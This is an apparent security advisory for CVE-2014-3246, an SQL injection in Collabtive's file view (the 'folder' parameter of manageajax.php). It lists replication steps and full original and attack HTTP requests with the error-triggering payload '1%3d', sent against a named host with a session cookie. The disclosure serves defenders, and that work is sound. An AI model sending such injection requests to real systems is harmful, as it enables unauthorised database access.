Collabtive 1.2 – SQL Injection
Vulnerability title: SQL Injection / SQL Error message in Collabtive application (CVE-2014-3246) CVE: CVE-2014-3246 (cordinated with Vendor: Collabtive Product: Collabtive (Open Source Project Management Software) Affected version: 1.12 Fixed version: 2.0 Reported by: Deepak Rathore Severity: Critical URL: http://[domain]/collabtive-12/managefile.php?action=showproject&id=2482 Affected Users: Authenticated users Affected parameter(s): folder Issue details: The folder parameter appears to be vulnerable to SQL injection attacks. The payload 1%3d was submitted in the folder parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The database appears to be MySQL. HTTP request: GET /manageajax.php?action=fileview_list&id=2482&folder=1%3d HTTP/1.1 Host: collabtive.o-dyn.de User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.6.0.3 Referer: http://xxx/managefile.php?action=showproject&id=2482 Cookie: PHPSESSID=ba83d29aab270a7926ea1be2e1f830be; PHPSESSID=ba83d29aab270a7926ea1be2e1f830be Connection: keep-alive Steps to replicate: 1. Login into application 2. Go to "Desktop" tab and click on "Add project" 3. Fill the project details in the project form and click on "Add" button 4. After creating a project go to "Files" tab and Intercept the request 5. At "manageajax.php" file, replace "folder" parameter value with "1%3d" ===================== Original Request ===================== GET /manageajax.php?action=fileview_list&id=2482&folder=0 HTTP/1.1 Host: collabtive.o-dyn.de User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.6.0.3 Referer: http://xxx/managefile.php?action=showproject&id=2482 Cookie: PHPSESSID=ba83d29aab270a7926ea1be2e1f830be; PHPSESSID=ba83d29aab270a7926ea1be2e1f830be Connection: keep-alive ====================== Attack Request ====================== GET /manageajax.php?action=fileview_list&id=2482&folder=1%3d HTTP/1.1 Host: collabtive.o-dyn.de User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.6.0.3 Referer: http://xxx/managefile.php?action=showproject&id=2482 Cookie: PHPSESSID=ba83d29aab270a7926ea1be2e1f830be; PHPSESSID=ba83d29aab270a7926ea1be2e1f830be Connection: keep-alive ====================== 6. Forward manipulated request to server and wait for response in browser 7. SQL Error message is the proof of vulnerability. Tools used: Burp Suite proxy, Mozilla Firefox browser |